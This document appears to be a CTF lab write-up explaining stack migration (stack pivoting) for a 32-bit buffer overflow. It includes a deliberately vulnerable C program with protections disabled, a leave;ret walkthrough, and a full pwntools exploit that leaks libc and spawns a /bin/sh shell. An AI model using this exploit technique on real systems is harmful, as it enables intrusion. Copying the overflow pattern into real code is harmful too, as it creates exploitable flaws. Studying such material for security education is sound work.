Example
https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab6
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int count = 1337 ; int main(){ if(count != 1337) exit(1); count++; char buf[40]; setvbuf(stdout,0,2,0); puts("Try your best :"); read(0,buf,64); return 0; }
gcc -m32 -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie a.c -o a
Problems with previous methods
buf only has 40B, but it has read 64B. Stack overflow occurs here
The actual test results show that offset=44, so only 20B can write exp
ret2text has no corresponding function
ret2shellcode has read function and bss has write permission. You can read and write shellcode in bss, and then write returns to bss, but the length exceeds 24B
ret2libc: if you want to disclose the address or something, you can use puts to disclose the address. Count limits the number of executions. Then use read to modify count and execute main
But it's a pity that 20B can only write 5 values when it's over the length
The purpose of executing main again is to write exp again and execute it while keeping the libc loading position unchanged. If the execution starts from the middle of main after passing the exit judgment, because the stack is unbalanced, the read address is an invalid address, and ret is less than
Stack migration
- Stack migration is mainly to solve the problem of insufficient overflow space
- Principle: cover EBP as fake'ebp, and then use leave; ret; to hijack esp to fake'ebp
- leave ret is equivalent to
mov $esp, $ebp; use ebp Value writing esp pop $ebp pop $eip
- Template: exp1 = buf1 + ROP1 + read@plt + leave_ret + STDIN + buf1 + Len1
- Initial: to execute leave; ret;. EBP points to buf, esp points to low unknown area
- leave:
- mov $esp, $ebp;
- esp=ebp -> buf1
- pop ebp;
- ebp=buf1
- esp->ROP1
- mov $esp, $ebp;
- ret:
- pop $eip
- esp->read@plt
- eip=ROP1
- pop $eip
- ROP1's ret
- pop $eip
- esp->leave_ret
- eip=read@plt
- pop $eip
- read(STDIN, buf1, Len)
- Write the next exp2 to buf1, and the length is determined by Len1
- exp2 = buf2 + ROP2 + read@plt + leave_ret + STDIN + buf2 + Len
- leave_ret
- Situation back to the beginning
- If ROP is not put at the beginning, exp is the shortest = len(junk) + 6*8
- With stack migration, a writable and ret reachable area can be obtained continuously. As long as the first one is successful, it will not be limited by the length of the original overflow point in the future
application
- In this case, junk=40, the shortest exp = 40 + 6 * 8 = 64 is just right
- And the location of buf has requirements:
- Known location
- It can be written. If it can be executed, it can be ret2shellcode
- It does not affect the normal function process and can be adjusted properly
#!/usr/bin/python # coding=utf-8 from pwn import * from time import * from string import * from LibcSearcher import * context.log_level='Debug' context(arch='i386', os='linux') file_name='migration.dms' sh=process(file_name) gdb.attach(sh) offset=40 addr={ 'pop1_ret': 0x0804836d, '.bss': 0x0804a00c, 'read@plt': 0x08048380, 'puts@plt': 0x08048390, 'lsm@got': 0x08049ff8, 'leave_ret':0x08048504 } buf=( addr['.bss']+0x400, addr['.bss']+0x500, ) Len=0x100 STDIN=0 STDOUT=1 NULL=0 #exec payload1 sh.sendafter( 'Try your best :\n', flat( 'A'*offset, buf[0], addr['read@plt'], addr['leave_ret'], STDIN, buf[0], Len ) ) #exec payload2 sh.send( flat( buf[1], addr['puts@plt'], addr['pop1_ret'], addr['lsm@got'], addr['read@plt'], addr['leave_ret'], STDIN, buf[1], Len ) ) #calc addr lsmAddr=u32(sh.recv(5)[:4]) print("lsmAddr = "+hex(lsmAddr)) libc=LibcSearcher('__libc_start_main', lsmAddr) baseAddr=lsmAddr-libc.dump('__libc_start_main') binsh=baseAddr+libc.dump('str_bin_sh') execve=baseAddr+libc.dump('execve') print("execve = "+hex(execve)) print("/bin/sh = "+hex(binsh)) #exec payload3 sh.send( flat( buf[0], execve, 0, binsh, NULL, NULL ) ) sh.interactive() ''' break *0x8048504 x/wd 0x0804A008 '''
summary
- The ret instruction is closely related to the SP register. If you do not move the stack to a known location, you will find that you do not know where to write when you write read. Because ret = > pop IP, although read gives you the ability to write arbitrarily, because of the stack randomization, the SP is unpredictable and cannot find where to write
- Stack migration can build a ROP environment by itself, not limited by the original program